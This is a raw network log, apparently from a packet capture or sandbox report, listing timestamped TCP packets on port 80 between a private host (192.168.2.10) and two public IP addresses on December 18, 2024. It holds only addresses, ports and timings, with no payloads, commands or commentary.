Dec 18, 2024 15:56:35.570871115 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.571899891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.571981907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.571985006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.572065115 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.573071957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.573241949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.574006081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.574244976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.574383974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.574424982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.574532032 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.575472116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.575612068 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.575644016 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.575709105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.576602936 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.576797962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.576844931 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.576911926 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.577795982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.577903032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.577989101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.578044891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.578957081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.579024076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.579132080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.580142021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.580290079 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.581316948 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.581408024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.581438065 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.581670046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.582516909 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.582644939 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.582698107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.582823038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.583755016 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.583838940 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.583899021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.583961964 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.584832907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.584970951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.585033894 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.585033894 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.586041927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.586117029 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.586806059 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.587239027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.587307930 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.587340117 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.587496042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.588430882 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.588510990 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.588552952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.588648081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.589567900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.589689016 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.589864016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.590713978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.590817928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.591903925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.591962099 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.592016935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.592017889 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.593061924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.593111038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.593205929 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.594156981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.594299078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.594305992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.594372988 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.594372988 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.595427036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.595560074 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.595582962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.596612930 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.596649885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.596785069 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.597273111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.650702000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.650708914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.650722027 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.650762081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.651128054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.651189089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.651200056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.651221037 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.651277065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.651348114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.651381969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.652096033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.652148962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.652158976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.652178049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.652252913 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.653100967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.653106928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.653116941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.653122902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.653953075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654021978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654032946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654047966 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.654153109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654315948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.654797077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654866934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654871941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.654895067 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.654979944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.655004025 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.655658960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.655736923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.655747890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.655762911 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.655896902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.655947924 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.656589031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.656646013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.656656981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.656733990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.656758070 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.657324076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.657643080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.657680035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.657708883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.657762051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.657768011 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.657831907 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.658493996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.658545971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.658551931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.658601046 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.658638954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.659370899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.659394026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.659404993 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.659437895 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.659437895 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.659564972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.659749031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.660274029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.660326958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.660339117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.660584927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.660862923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.661168098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.661227942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.661237955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.661252022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.661349058 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.661953926 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.662082911 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.662143946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.662154913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.662169933 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.662288904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.662415028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.663023949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663049936 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.663153887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663167953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663325071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663347006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.663923025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663983107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.663994074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.664009094 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.664109945 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.664134979 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.664835930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.664874077 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.664901972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.664908886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.665019989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.665044069 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.665766954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.665824890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.665843964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.665867090 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.665963888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.666052103 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.666690111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.666753054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.666759014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.666824102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.666907072 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.666920900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.667068005 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.667604923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.667658091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.667665005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.667823076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.668561935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.668564081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.668644905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.668654919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.668673992 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.668787956 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.668833017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.669456959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.669516087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.669527054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.669533014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.669553995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.669570923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.670455933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.670583010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.670588970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.670665979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.670756102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.670756102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.671253920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.671333075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.671343088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.671396017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.671427011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.671492100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.672194958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.672354937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.672365904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.672470093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.672472000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.673171043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.673223972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.673233986 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.673245907 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.673296928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.673444033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.674088955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.674120903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.674125910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.674149036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.675812960 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.728457928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.728492975 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.728821993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.728823900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.728878975 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.728935957 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.729012012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.729958057 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.730014086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.730077028 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.730132103 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.731197119 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.731405020 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.731590986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.731699944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.731786966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.732719898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.732816935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.732901096 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.733871937 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.733953953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.734015942 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.734095097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.735004902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.735148907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.735215902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.736217976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.736319065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.736417055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.736501932 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.737443924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.737531900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.737617016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.738697052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.738879919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.738917112 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.738966942 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.739928007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.740051031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.740093946 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.740143061 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.740989923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.741041899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.741107941 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.742089987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.742161036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.742192030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.742247105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.743273020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.743381023 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.743562937 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.744592905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.744664907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.744714975 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.744772911 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.745812893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.745964050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.746108055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.746236086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.747236967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.747389078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.747416019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.747684956 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.748577118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.748689890 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.748747110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.748864889 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.749876022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.749989033 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.750056028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.750124931 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.751091957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.751197100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.751225948 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.751359940 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.752299070 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.752418041 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.752531052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.753573895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.753618002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.753685951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.753695965 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.754704952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.754753113 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.754831076 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.754954100 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.755933046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.756000042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.756099939 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.757303953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.757366896 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.757395029 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.757441998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.758219957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.758227110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.758316994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.759001017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.759067059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.759126902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.760065079 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.760096073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.760152102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.761246920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.761324883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.761384964 CET	80	49806	185.215.113.16	192.168.2.10
